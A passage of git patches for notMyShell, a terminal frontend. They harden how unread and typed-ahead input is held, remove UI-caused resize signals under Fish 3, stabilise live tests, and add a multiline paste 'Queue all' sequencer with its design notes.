(`UNREAD_DRAIN_SCRIPT`: `stty -icanon min 0 time 0`, `head`, `od`, immune to SIGTTOU/SIGTTIN, 64 KiB) and reports it in an + authenticated `unread` marker; the owner holds each line (`QueueDispatcher.holdUnread`, `unreadLines`). Input that + arrives after the done marker is held, never written. +- **Epochs and verified transitions:** the shell's `done` marker now reaches windows in the input state; a draft begun + after it is type-ahead for the prompt (held, never written, run at the verified prompt), one begun before it is held. + Lines typed in the Ctrl+C/Ctrl+Z window are held until the outcome is verified (prompt → run; a question → its reply; + still running when the window closes → delivered, so unread bytes fall to the drain). A late report of the question + just answered is dropped (it re-armed direct input and split the next command). Ctrl+C is no answer. +- **Older services** (no look result) fail closed: no evidence means held, hidden. + +### #443: exact root cause and change + +`TerminalApp.render` resized the PTY to `plan.ptyRows`, the current frame's transcript capacity, so the activity row at +each command start and end, a growing composer, menus, notices, the inspector and Settings each sent SIGWINCH to the +foreground job; Fish 3 drops a builtin write it interrupts. The rows now come from a reference layout (`ptyRows()`), and +while a command runs only `onResize` (a real window change) or the end of a full-screen handover resizes. Deterministic: +6 UI-only resizes in one sequence on `fa7ec665`, 0 now. Live (`ptyResizeLive`, zsh/Bash/Fish 4): 0 signals from chrome, +exactly 1 per window resize. + +**Fundamental limit:** Fish 3 does not restart a write that SIGWINCH interrupts. NMSh no longer causes the signal; a +person resizing the window while Fish 3 writes its own output can still lose part of it, as in any terminal. + +### Evidence + +| Check | `fa7ec665` | `fix/v022-harden` | +| --- | --- | --- | +| `inputQuarantine` (deterministic) | 15 of 19 fail | 25/25 | +| Live reply `ls` before an unseen timed read (zsh, Bash, Fish) | runs, journaled | held, never runs | +| Unread line + partial secret (zsh, Bash, Fish) | `echo QZ-RAN` ran; `QZSECRETecho NEXT` ran | held; next command whole (`unreadInputLive` 13/13) | +| `ptyStableSize` | 6 UI-only resizes | 0 | +| Related deterministic suites (63 files) | — | 628 tests, 0 failed after updating 8 old-policy assertions | +| Related live suites, sequential, macOS | — | all pass after updating queue tests to Ctrl+Q (see commits) | + +Bugs this pass introduced and fixed before integration, all found by tests: a held head blocked prompt submissions; +typing during a slow prompt hook was held (A10 step 3); a survivor of Ctrl+C on macOS did not get its answer; a stale +hidden report split fast type-ahead (CI). + +### Remaining risks +- A sub-millisecond window between the shell finishing a command and the service reading its done marker: input the + frontend sends then can reach the shell (bytes in the kernel cannot be recalled). +- A line typed right after Ctrl+C for a question the program asks unseen, which then gives up before the program ends, + runs at the prompt. +- Older (v0.20) services: no drain or done marker; typing a program never reads can reach the shell there. +- The approval review hides the text by default; approving without Tab runs text the person has not re-read. +- zsh's single `precmd` and Fish's other `fish_postexec` handlers still run before the done marker (now only a UX + limit: typing then is held, never run). + +### Usability tradeoffs +Plain-Enter type-ahead needs an approval (two keys) or Ctrl+Q; keys typed into a program as it exits wait for approval; +the transcript can be a few rows shorter than the shell's terminal while chrome is open. Cost: one `sh`/`stty`/`head`/`od` +chain at a prompt only after a command NMSh delivered input to. From 3a176a48d9ee591b11f67269eeb2d0efb14617f9 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 22:47:58 +0530 Subject: [PATCH 104/157] Tests: decide from the journal and queue, never from redrawn screen text; mux tests wait for each prompt (#426) typingAfterRead decided whether its next command was held from screen text; a redraw repeats older rows and notes, so a stale "did not read" note read as a new held line (CI). It now waits for the read's journaled completion and asks the session's queue. The idle wait in Frontend.run applies only to a sandbox's single session. The GNU screen test's own run helper waits for each command's completion row before typing the next. --- tests/helpers/liveFrontend.ts | 3 ++- tests/muxInterop.test.ts | 3 ++- tests/typingAfterRead.test.ts | 28 +++++++++++++++------------- 3 files changed, 19 insertions(+), 15 deletions(-) diff --git a/tests/helpers/liveFrontend.ts b/tests/helpers/liveFrontend.ts index dc49474c..b0e81eda 100644 --- a/tests/helpers/liveFrontend.ts +++ b/tests/helpers/liveFrontend.ts @@ -76,7 +76,8 @@ export class LiveSandbox { trackFrontend(pty: IPty): Frontend { const frontend = new Frontend(pty, async command => (await this.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command).length, - async () => (await this.sessions()).every(session => session.running === undefined)); + // Only a sandbox's single session is this frontend's for certain; with several, another may run on purpose. + async () => { const sessions = await this.sessions(); return sessions.length !== 1 || sessions[0]!.running === undefined; }); this.frontends.push(frontend); return frontend; } diff --git a/tests/muxInterop.test.ts b/tests/muxInterop.test.ts index df48bbf9..2cc586d0 100644 --- a/tests/muxInterop.test.ts +++ b/tests/muxInterop.test.ts @@ -221,7 +221,8 @@ test('NMSh inside GNU screen: renders, sees STY, follows a resize, and suspends pty.onData(data => { output += data; }); const plain = (from: number) => output.slice(from).replace(/\u001b\[[0-9;?>]*[A-Za-z]|\u001b[()][A-Z0-9]|\u001b[=>]/gu, ' '); const waitFor = (pattern: RegExp, from: number) => until(() => pattern.test(plain(from)), 20000, () => `${pattern}:\n${plain(from).slice(-800)}`); - const run = async (command: string, expect: RegExp) => { const mark = output.length; pty.write(`${command}\r`); await waitFor(expect, mark); }; + // Each command's own completion row before the next is typed: a line typed while one still runs waits for approval (#426). + const run = async (command: string, expect: RegExp) => { const mark = output.length; pty.write(`${command}\r`); await waitFor(new RegExp(`${expect.source}[\\s\\S]*Completed`, expect.flags), mark); }; try { await waitFor(/❯/, 0); await run('echo "STY-${STY:+set}"', /STY-set/); diff --git a/tests/typingAfterRead.test.ts b/tests/typingAfterRead.test.ts index 6bb58099..23a0812f 100644 --- a/tests/typingAfterRead.test.ts +++ b/tests/typingAfterRead.test.ts @@ -19,11 +19,9 @@ import {LiveSandbox, strip, until, type Frontend} from './helpers/liveFrontend.j * reads are taken back from the terminal when the command ends and wait for approval the same way. * Either way it must still run exactly once. */ -const HELD = /held, not run · Tab shows it · Esc discards it/u; -const APPROVAL = /typed while \S+ ran|did not read some of your typing/u; -async function showAndRunHeld(frontend: Frontend, mode: string, run: number, next: string, mark: number): Promise { - if (!HELD.test(strip(frontend.output.slice(mark)))) { +async function showAndRunHeld(frontend: Frontend, mode: string, run: number, next: string, mark: number, queued: boolean): Promise { + if (queued) { assert.ok(mode === 'ahead', `only typing ahead while the read's command runs waits for approval (${mode}${run})`); const review = frontend.mark; frontend.pty.write('\r'); @@ -77,7 +75,8 @@ for (const shell of ['fish', 'zsh', 'bash'] as const) { for (let run = 0; run < RUNS; run += 1) { const tag = `${mode}${run}`; const mark = frontend.mark; - frontend.pty.write(`${READ[shell](run % 2 === 1, tag)}\r`); + const reading = READ[shell](run % 2 === 1, tag); + frontend.pty.write(`${reading}\r`); // zsh and Bash print their prompt from the command text; wait for it past the echo and NMSh's own "Running" line. // Each prompt is unique and assembled at runtime: historical redraws and the echoed command cannot satisfy it. await frontend.waitFor(new RegExp(`Name-${tag}: `, 'u'), mark); @@ -90,15 +89,18 @@ for (const shell of ['fish', 'zsh', 'bash'] as const) { frontend.pty.write(`v${tag}\r`); if (mode === 'after') await frontend.waitFor(new RegExp(`got=v${tag}[\\s\\S]*Completed`, 'u'), mark); frontend.pty.write(`${next}\r`); - // NMSh's journal records the next command once the shell's prompt has returned after it. Screen text could match - // earlier: the queued command's row followed by an older "Completed" in a later redraw (seen in CI on #442). - await until(async () => await frontend.completions(next) > before || HELD.test(strip(frontend.output.slice(mark))) - || (APPROVAL.test(strip(frontend.output.slice(mark))) && /Completed|Command failed/u.test(strip(frontend.output.slice(mark)))), 10_000, - `completed journal for ${next}, or the command held`); + // NMSh's journal records a command once the shell's prompt has returned after it: deterministic, where screen + // text is not (a redraw repeats older rows and notes; seen in CI on #442 and #457). The read's command ends + // first; then the next one has run, or is held (in the owner's queue, or at the prompt). + await until(async () => await frontend.completions(next) > before || await frontend.completions(reading) > 0, 10_000, + `completed journal for ${reading}`); if (await frontend.completions(next) === before) { - await pause(300); - await showAndRunHeld(frontend, mode, run, next, mark); - await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next} after the person's choice`); + await pause(500); + if (await frontend.completions(next) === before) { + const queued = ((await sandbox.sessions())[0]?.queued ?? 0) > 0; + await showAndRunHeld(frontend, mode, run, next, mark, queued); + await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next} after the person's choice`); + } } assert.equal(await frontend.completions(next), before + 1, 'the next command ran once'); const drawn = strip(frontend.output.slice(mark)); From 7a95183efd01de9bf696ce205cf05d6937e7d411 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 23:07:04 +0530 Subject: [PATCH 105/157] Docs: v0.22 hardening evidence (CI, Fish 3.7 loop, signal counts) and the #443 claim it supports --- CHANGELOG.md | 2 +- docs/development/v022-ledger.md | 10 +++++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 230a0b3a..d870eaa2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -91,7 +91,7 @@ This is a release candidate: it is published only after its physical-terminal QA - Ask's command suggestions use your local model only; remote providers are not part of this release ([#432](https://github.com/raiseCatError/notMyShell/issues/432)). A suggestion is only as good as the model: the small recommended model (Qwen3 0.6B) often suggests an imprecise command or none; NMSh labels each one with its own check and never runs it. - `/view` renders a subset of HTML: CSS layout, forms, embedded media and image graphics are not shown (an image is its alt text, with no terminal-graphics preview), and HTML that NMSh cannot read stays readable with `m`. - Linux stays beta: automated CI on Ubuntu and Fedora, no physical pass. Everything listed under v0.20.0's known limitations still applies. -- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443); shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts. NMSh no longer causes one (see Fixed), and its own markers on Fish 3 go through `cat`, which does not lose them ([#449](https://github.com/raiseCatError/notMyShell/pull/449)). A real resize of the window while Fish itself writes output (`echo`, `printf`, `string`) can still lose part of that output, with `write: Interrupted system call` in its place: that is Fish 3's own handling of the signal, which NMSh cannot change and which happens in any terminal. Fish 4, zsh and Bash retry. +- **Linux (beta) with Fish 3** ([#443](https://github.com/raiseCatError/notMyShell/issues/443); shown with Fish 3.7.0 on Ubuntu 24.04). Fish 3 does not retry a terminal write that a window-size change interrupts. NMSh no longer causes one (see Fixed), and its own markers on Fish 3 go through `cat`, which does not lose them ([#449](https://github.com/raiseCatError/notMyShell/pull/449)). A real resize of the window while Fish itself writes output (`echo`, `printf`, `string`) can still lose part of that output, with `write: Interrupted system call` in its place: that is Fish 3's own handling of the signal, which NMSh cannot change and which happens in any terminal. Fish 4, zsh and Bash retry. The new CI stress loop did not reproduce the loss on either build, so the improvement is shown by the removed cause (no signal from NMSh's own layout), not by a measured loss rate. ## [0.20.0] - 2026-10-18 diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 551203b1..c76fa7dd 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -359,8 +359,16 @@ person resizing the window while Fish 3 writes its own output can still lose par | `ptyStableSize` | 6 UI-only resizes | 0 | | Related deterministic suites (63 files) | — | 628 tests, 0 failed after updating 8 old-policy assertions | | Related live suites, sequential, macOS | — | all pass after updating queue tests to Ctrl+Q (see commits) | +| `ptyResizeLive` SIGWINCH from NMSh's chrome (zsh / Bash / Fish 4) | 2 / 2 / 3 | 0 / 0 / 0 (1 per real window resize on both) | +| Fish 3.7 loop, Ubuntu (run 39290923773), 20 iterations | integrity test 20/20 pass | 11 Fish tests × 20 iterations, 0 failures | +| PR CI on `3a176a48` (run 39292927580) | — | all jobs green (macOS and Ubuntu shards, Node 22, Verify 22/26) | -Bugs this pass introduced and fixed before integration, all found by tests: a held head blocked prompt submissions; +The Fish 3.7 integrity stress test (Fish builtin output while NMSh's composer churns) did **not** reproduce output loss +on the baseline either, so it shows no rate improvement by itself. The claim for #443 rests on the removed cause: the +deterministic and live signal counts above, with the causal trace already recorded on the issue. + +Bugs this pass introduced and fixed before integration, all found by tests (CI found the last; every test that raced a +command's prompt by typing the next command at once now waits for that prompt or uses Ctrl+Q): a held head blocked prompt submissions; typing during a slow prompt hook was held (A10 step 3); a survivor of Ctrl+C on macOS did not get its answer; a stale hidden report split fast type-ahead (CI). From fdf1c11c42ab93fbf193d7bb898371a9d0c6532c Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 23:21:24 +0530 Subject: [PATCH 106/157] Tests: GNU screen's resize probe waits for each probe's completion before the next command (#426) Release CI (run 39295725965, Ubuntu): the probe loop typed `sleep` while the last `echo SIZE` still ran, so it was held for approval and never started. --- tests/muxInterop.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/muxInterop.test.ts b/tests/muxInterop.test.ts index 2cc586d0..79b3edeb 100644 --- a/tests/muxInterop.test.ts +++ b/tests/muxInterop.test.ts @@ -229,7 +229,9 @@ test('NMSh inside GNU screen: renders, sees STY, follows a resize, and suspends await run('echo SIZE-$(stty size | tr " " x)', /SIZE-\d+x100/); pty.resize(120, 40); await until(async () => { const mark = output.length; pty.write('echo SIZE-$(stty size | tr " " x)\r'); - try { await until(() => /SIZE-\d+x120/u.test(plain(mark)), 2000); return true; } catch { return false; } }, 20000, 'resize reached the shell'); + try { await until(() => /SIZE-\d+x120[\s\S]*Completed/u.test(plain(mark)), 2000); return true; } catch { return false; } }, 20000, 'resize reached the shell'); + // Each probe is entered at the prompt; one entered while an earlier probe still ran is held (#426), never run. + await new Promise(done => setTimeout(done, 500)); const duration = uniqueSleep(176); pty.write(`sleep ${duration}\r`); await until(() => inForeground(duration), 20000, 'sleep in the foreground'); From e43ee55f0720382f82045dc269b2e257362d5cdd Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:16:49 +0530 Subject: [PATCH 107/157] Multiline paste: One at a time, Queue all and Run as block on the shared panel components Queue all runs a reviewed list that mixes shell and NMSh commands in order after one confirmation: shell runs go through the session queue, NMSh commands through NMSh's dispatcher. The review uses the tab strip, selection band and control rows; the conservative default is One at a time. Adds the permanent UI consistency rule. --- AGENTS.md | 3 + docs/design/multiline-execution-modes.md | 46 +++++ src/app/TerminalApp.ts | 113 +++++++++-- src/input/BatchReview.ts | 231 ++++++++++++----------- src/input/batchSequence.ts | 148 +++++++++++++++ tests/batchSequence.test.ts | 229 ++++++++++++++++++++++ tests/pasteBatchApp.test.ts | 11 +- tests/pasteBatchChoice.test.ts | 176 ++++++++--------- tests/pasteSlashCommands.test.ts | 115 +++++++++-- 9 files changed, 833 insertions(+), 239 deletions(-) create mode 100644 docs/design/multiline-execution-modes.md create mode 100644 src/input/batchSequence.ts create mode 100644 tests/batchSequence.test.ts diff --git a/AGENTS.md b/AGENTS.md index a30ec984..695c0e9b 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -38,6 +38,9 @@ notMyShell (NMSh) is a terminal frontend that operates over a persistent, real s NMSh uses a FOLLOW mode during execution, pinning the output viewport to the bottom. During historical inspection, it enters DETACHED mode. +## UI consistency (permanent rule) +All new NMSh UI reuses the established components and interaction patterns before anything is drawn by hand: `framePanel`, the tab strip (`renderTabStrip`), the selected-row band (`selectedRowBand`), `renderControlRows`, `groupedList`, the Settings and row panels, the palette and glyph tables (`UI_COLORS`, `GLYPHS`, Safe Glyphs, NO_COLOR rules) and the shared panel keys (↑↓ select, ←→/Tab switch, Enter confirm, Esc back). Ad hoc bracketed menus (`[1 Option]`), one-off boxes and private color tables are not the default; a new surface that cannot reuse a component first extends the shared one. Menus, text, selection controls and chrome stay terminal text: graphics protocols and text sizing are for real images and document or celebration typography, never a replacement for ordinary menus. Reviews check this the same way they check input ownership. The multiline paste review (`src/input/BatchReview.ts`) is the reference: [multiline execution modes](docs/design/multiline-execution-modes.md). + ## Input invariants - `Shift+Enter`: newline (multiline) - `Ctrl+J`: fallback newline diff --git a/docs/design/multiline-execution-modes.md b/docs/design/multiline-execution-modes.md new file mode 100644 index 00000000..b179a905 --- /dev/null +++ b/docs/design/multiline-execution-modes.md @@ -0,0 +1,46 @@ +# Multiline paste: execution modes + +A multiline paste (or a typed block with Ctrl+J, or a recipe) that the shell grammar splits into two or more commands +opens **Review commands**. Nothing runs because text was pasted or shown; every mode that executes needs Enter on the +mode. + +The review is drawn with the shared components: `framePanel`, the tab strip for the modes, the selected-row band for the +command list, `renderControlRows`. It works at narrow widths (the strip windows around the active mode), with Safe +Glyphs and with `NO_COLOR` (reverse video marks the active mode and the selected row). It has no pointer handling, as +the other review panels have none. + +| Mode | What Enter does | Offered when | +|---|---|---| +| **One at a time** (default) | The first command goes to the composer, unsent. Each runs on your own Enter and the next is offered after a success; Esc stops. | Commands were separated. | +| **Queue all** | One confirmation, then the commands run in order without further Enter. Stops on a failure, an interrupt, a paused or cleared queue, or Esc. | Commands were separated, queueing is on, and the longest run of shell commands fits the queue. | +| **Run as block** | The whole paste is one original shell submission (one outer execution). A note warns that shells can read a block differently than line by line. | Shell-only pastes, also when the paste cannot be separated. Never when an NMSh command is in the list. | +| Edit / Cancel | Put the text in the composer for editing / discard it. Nothing is executed. | Always. | + +When the paste cannot be separated safely (unclosed quote, a comment that holds shell syntax in zsh, …) only Run as +block, Edit and Cancel remain, Edit is the default, and the reason is shown. + +## Queue all and NMSh commands + +Queue all is a small sequencer (`src/input/batchSequence.ts`) that owns no queue of its own: + +- A run of consecutive **shell** commands is added to the session's queue together. The session owner runs them one at a + time in the session's shell with its own failure policy, approval, interrupt and session-isolation rules, and `/queue` + shows them. The sequencer waits for that queue's execution chain to finish. +- An **NMSh command** (`/modules`, `/track …`, `/view`, `/theme`) is dispatched in NMSh through the composer's submit + path, never added to the shell queue. Comment lines before it are dropped from what is dispatched. +- It never types into a running program. An NMSh step waits for a free prompt, an empty queue, an empty composer and a + closed panel (a command that opened `/view` or `/modules` holds the next step until it closes). A command waiting for + input is not answered or bypassed. +- The failure policy is the session's: with **pause** (default) a failure pauses the queue and the sequence stops, with + **continue** the person chose to go on, but Ctrl+C always stops. Esc at an idle prompt stops what has not started. + A queue the person paused still accepts the commands, which wait there for `/queue`. +- The strip above the composer shows `Queue all · 2 of 5 · Esc stops`. The commands not started are reported, never run. + +NMSh commands have no exit status, so a failed NMSh command is detected only when it throws. + +## Verified by + +`tests/batchSequence.test.ts` (sequencer with a fake host: order, failure policy, interrupt, clear, Esc, panels, drafts, +busy prompts, queue capacity), `tests/pasteBatchChoice.test.ts`, `tests/pasteSlashCommands.test.ts` (app-level mixed +batches against the real queue owner) and `tests/pasteBatchApp.test.ts`. These are automated and headless: no row of the +physical QA is marked from them. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 69404058..a158a4a0 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -278,7 +278,8 @@ import {explainModules, moduleTimings} from '../prompt/moduleReport.js'; import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, nmshCommandNote} from '../input/pasteGuard.js'; import type {BatchShell} from '../input/pasteBatch.js'; import {createPasteReview, displaySafe, pasteReviewKey, renderPasteReview, type PasteReviewState} from '../input/PasteReview.js'; -import {batchFromCommands, batchRefusal, batchReviewKey, batchTexts, batchBlockText, createBatchReview, createBatchReviewWithRefusal, hasNmshCommand, renderBatchReview, type BatchReviewState} from '../input/BatchReview.js'; +import {batchFromCommands, batchRefusal, batchReviewKey, batchTexts, batchBlockText, createBatchReview, createBatchReviewWithRefusal, hasNmshCommand, isNmshStatement, longestShellRun, nmshCommandText, renderBatchReview, type BatchReviewState} from '../input/BatchReview.js'; +import {BatchSequencer, type SequenceHost, type SequenceItem} from '../input/batchSequence.js'; import {QUEUE_LIMIT} from '../session/CommandQueue.js'; import {addPin, addRecipe, changeItem, keepProblem, loadPins, pinsPath, removeItem, type PinData, type Recipe} from '../pins/PinStore.js'; import {createPinsPanel, pinsPanelKey, renderPinsPanel, type PinsPanelState} from '../pins/PinsPanel.js'; @@ -2116,23 +2117,14 @@ export class TerminalApp { const action = batchReviewKey(review, key, this.dimensions().rows - 4); const done = () => { this.batchReview = undefined; this.pasteReview = undefined; this.pastePreview = undefined; this.selectedSuggestion = 0; }; if (action?.kind === 'queue') { - // Enter on the reviewed list is the confirmation: exactly these commands, in this order, into this session's own queue. - const texts = batchTexts(review); - if (!this.queueAvailable() || texts.length > QUEUE_LIMIT - this.queueState.entries.length) { - this.output.addFrontendInteraction('/ps', 'The queue cannot take these commands now; nothing was queued.', ERROR); - } else { - for (const text of texts) { - this.syncQueuePolicy(); - this.session.queue({op: 'add', text}); - this.sessionSubmissions.push({text, slash: false}); - if (this.sessionSubmissions.length > SESSION_SUBMISSION_LIMIT) this.sessionSubmissions.shift(); - } - this.output.addFrontendInteraction('/ps', `Queued ${texts.length} command${texts.length === 1 ? '' : 's'}. They run one at a time in this shell; /queue shows them.`, INFO); - } + // Enter on the reviewed list is the confirmation: exactly these commands, in this order, run once, shell commands + // through this session's own queue and NMSh's commands through NMSh (never the shell). + this.startBatchSequence(review); done(); } else if (action?.kind === 'steps') { // One at a time (QA F02): each command waits in the composer, unsent, and runs only on the person's Enter. - this.pasteSteps = {items: batchTexts(review), next: 0, running: false}; + this.batchSequence?.stop('Replaced by One at a time'); + this.pasteSteps = {items: batchTexts(review).map(text => (isNmshStatement(text) ? nmshCommandText(text) : text)), next: 0, running: false}; done(); this.offerPasteStep(); } else if (action?.kind === 'block') { @@ -2196,6 +2188,12 @@ export class TerminalApp { // Any other key (typing, editing) invalidates the paste preview and continues normal processing this.pastePreview = undefined; } + if ((key.kind === 'escape' || key.kind === 'interrupt') && this.batchSequence?.active && !this.running && !this.hasModalInput() && !this.editor.text) { + this.batchSequence.stop('Stopped'); + this.dropFinishedSequence(); + this.render(); + return; + } if (key.kind === 'escape' && this.pasteSteps && !this.pasteSteps.running && this.editor.text && !this.hasModalInput()) { this.stopPasteSteps('Stopped'); this.editor.clear(); @@ -8283,7 +8281,7 @@ export class TerminalApp { const now = Date.now(); const suggestion = this.clipboardChangeSuggested && !this.running && this.clipboardChangeWatch?.enabled ? [truncateAnsi(`${SUBTLE}Clipboard changed · /ps reads it for review${RESET}`, columns)] : []; - const rows = [...this.clipboardRows(columns), ...suggestion, ...this.sessionNoticeRows(columns), ...this.taskRows(columns), ...watchNoticeRows(this.watches.active(), now).map(row => truncateAnsi(row, columns)), ...this.pastePreviewRows(columns), ...this.pasteStepRows(columns)]; + const rows = [...this.clipboardRows(columns), ...suggestion, ...this.sessionNoticeRows(columns), ...this.taskRows(columns), ...watchNoticeRows(this.watches.active(), now).map(row => truncateAnsi(row, columns)), ...this.pastePreviewRows(columns), ...this.pasteStepRows(columns), ...this.sequenceRows(columns)]; const background = this.backgroundRows(columns); return shelf ? [...rows, ...background, shelf] : [...rows, ...background]; } @@ -8317,6 +8315,9 @@ export class TerminalApp { } const check = await verifyCommands(batchTexts(review), shell); if (this.stopped || !current()) return; + if (!this.queueAvailable() && longestShellRun(review.entries) > 0) review.queueOff = this.session.features.has('queue') + ? 'Queue all is not offered: queueing is off (Settings → Sessions → Queue commands).' + : 'Queue all is not offered: this session\'s service is older and has no command queue.'; if (check.ok) { review.note = [review.note, this.queuePolicyNote()].filter(Boolean).join(' · '); this.batchReview = review; @@ -8348,6 +8349,79 @@ export class TerminalApp { return true; } + /** Queue all: confirm once, then the sequencer runs the reviewed commands in order (see input/batchSequence). */ + private startBatchSequence(review: BatchReviewState): void { + const items: SequenceItem[] = review.entries.map(entry => { + const nmsh = isNmshStatement(entry.text); + return {nmsh, text: nmsh ? nmshCommandText(entry.text) : entry.text}; + }); + const needsQueue = items.some(item => !item.nmsh); + if (needsQueue && (!this.queueAvailable() || longestShellRun(review.entries) > QUEUE_LIMIT - this.queueState.entries.length)) { + this.output.addFrontendInteraction('/ps', 'The queue cannot take these commands now; nothing was queued.', ERROR); + return; + } + this.batchSequence?.stop('Replaced by a new Queue all'); + this.pasteSteps = undefined; + const sequence = new BatchSequencer(items, this.sequenceHost()); + this.batchSequence = sequence; + this.output.addFrontendInteraction('/ps', `Queue all: ${items.length} command${items.length === 1 ? '' : 's'}. They run in order${needsQueue ? ' (shell commands through /queue)' : ''}; it stops on a failure, and Esc stops it.`, INFO); + sequence.poke(); + this.dropFinishedSequence(); + } + + private sequenceHost(): SequenceHost { + return { + queueView: () => { + const timeline = this.queueState.timeline; + return { + entries: this.queueState.entries.length, + dispatching: Boolean(this.queueState.dispatching), + paused: Boolean(this.queueState.paused), + ...(timeline ? {chain: {id: timeline.id, status: timeline.status, failurePolicy: timeline.failurePolicy, failed: timeline.counts.failed, interrupted: timeline.counts.interrupted}} : {}), + }; + }, + queueFree: () => QUEUE_LIMIT - this.queueState.entries.length, + addShell: text => { + this.syncQueuePolicy(); + this.session.queue({op: 'add', text}); + this.sessionSubmissions.push({text, slash: false}); + if (this.sessionSubmissions.length > SESSION_SUBMISSION_LIMIT) this.sessionSubmissions.shift(); + }, + foregroundBusy: () => Boolean(this.running || this.passthrough || this.externalPassthrough || this.startupPending || this.preparingCommand), + modalOpen: () => this.hasModalInput(), + composerEmpty: () => !this.editor.text, + runNmsh: async text => { + this.editor.replaceText(text); + await this.submit(false, true, false); + }, + say: text => this.output.addFrontendInteraction('Queue all', text, INFO), + changed: () => this.render(), + }; + } + + private dropFinishedSequence(): void { + if (this.batchSequence && !this.batchSequence.active) this.batchSequence = undefined; + } + + /** Ask the sequencer to continue once the current state allows (a prompt, an empty queue, a closed panel). */ + private scheduleSequencePoke(): void { + if (!this.batchSequence || this.sequencePokeScheduled) return; + this.sequencePokeScheduled = true; + queueMicrotask(() => { + this.sequencePokeScheduled = false; + if (this.stopped) return; + this.batchSequence?.poke(); + this.dropFinishedSequence(); + }); + } + + /** The strip above the composer while Queue all runs: where it is and how to stop it. */ + private sequenceRows(columns: number): string[] { + const sequence = this.batchSequence; + if (!sequence?.active) return []; + return [truncateAnsi(`${SUBTLE}${sequence.statusLine()}${RESET}`, columns)]; + } + /** The next pasted command, unsent, when the composer is free; the last one ends the list. */ private offerPasteStep(): void { const steps = this.pasteSteps; @@ -8390,7 +8464,7 @@ export class TerminalApp { */ private async runReviewedBlock(text: string): Promise { if (this.running) { - this.output.addFrontendInteraction('/ps', 'A command is running: wait for it to complete or choose Queue separately.', ERROR); + this.output.addFrontendInteraction('/ps', 'A command is running: wait for it to complete, or choose Queue all.', ERROR); return; } this.editor.replaceText(text); @@ -9448,6 +9522,9 @@ export class TerminalApp { private pendingMixedBlock?: string; /** Reviewed commands offered one at a time in the composer (QA F02); `running`: the offered one was entered. */ private pasteSteps?: {items: string[]; next: number; running: boolean}; + /** Queue all (a reviewed paste run in order, shell and NMSh commands alike). */ + private batchSequence?: BatchSequencer; + private sequencePokeScheduled = false; /** Short presentation transitions (launch, completion materialization, Block Seal, Semantic Echo, prompt morph). */ private readonly transitions = new Transitions(() => this.promptConfiguration.motion, () => ({reducedMotion: !this.decorativeMotionAllowed(), effectsOff: false, color: colorLevel() !== 'none'})); @@ -10860,6 +10937,7 @@ export class TerminalApp { } private render(): void { + this.scheduleSequencePoke(); this.reconcileOutputNavigation(); if (this.stopped || this.passthrough || this.externalPassthrough || this.frontendSuspended) { this.cancelPresentation(); return; } this.hostSemantics.flush(); @@ -11917,6 +11995,7 @@ export class TerminalApp { if (!this.replaying && getCurrentGlyphMode() !== 'safe' && colorLevel() !== 'ansi16') { for (const change of queuePresentationChanges(previous, state)) this.transitions.highlight(change.target, change.tone, Date.now(), change.phase); } + this.scheduleSequencePoke(); if (news.refused) this.output.addFrontendInteraction('/queue', news.refused, INFO); if (news.dropped) this.output.addHistoryLine(`${INFO}${news.dropped} queued command${news.dropped === 1 ? '' : 's'} did not run: the shell ended.${RESET}`); const paused = state.paused; diff --git a/src/input/BatchReview.ts b/src/input/BatchReview.ts index 492b3bd5..2b035819 100644 --- a/src/input/BatchReview.ts +++ b/src/input/BatchReview.ts @@ -1,5 +1,6 @@ import type {Key} from '../terminal/keys.js'; import {renderControlRows} from '../ui/controls.js'; +import {renderTabStrip, selectedRowBand} from '../ui/PanelShell.js'; import {focusForeground, foreground, UI_COLORS} from '../ui/palette.js'; import {GLYPHS} from '../ui/glyphs.js'; import {isSlashInput, parseSlashCommand} from '../commands/slashCommands.js'; @@ -9,18 +10,25 @@ import {splitBatch, type BatchCommand, type BatchShell} from './pasteBatch.js'; import {displayWidth, padCells, truncateAnsi, truncateText} from '../util/text.js'; /** - * Batch Review: a pasted sequence split into the commands the shell would run, to look at before any of it is queued. - * Nothing runs because it was pasted or shown here. Enter queues exactly the commands listed, in the order listed, - * into this session's own queue (one at a time, in the same shell, pausing on a failure); every other key leaves the - * paste as text. + * Batch Review: a pasted sequence split into the commands the shell (or NMSh) would run, to look at before any of it + * runs. Nothing runs because it was pasted or shown here. The mode strip chooses how: One at a time (each command + * waits in the composer for its own Enter), Queue all (one confirmation, then they run in order and the sequence stops + * on a failure) or Run as block (a shell-only paste, one original submission). Enter confirms the chosen mode; every + * other key leaves the paste as text. Drawn with the shared tab strip, selection band and control rows. */ export interface BatchEntry extends BatchCommand { kinds: PasteKind[]; } -/** steps: one at a time through the composer, for a list with NMSh commands (QA F02). */ -export type BatchChoice = 'block' | 'queue' | 'steps' | 'edit' | 'cancel'; -export const BATCH_CHOICES: readonly BatchChoice[] = ['block', 'queue', 'steps', 'edit', 'cancel']; +/** + * steps: One at a time, through the composer. queue: Queue all, run in order after one confirmation. block: Run as + * block, a shell-only paste as one original submission. + */ +export type BatchChoice = 'steps' | 'queue' | 'block' | 'edit' | 'cancel'; +export const BATCH_CHOICES: 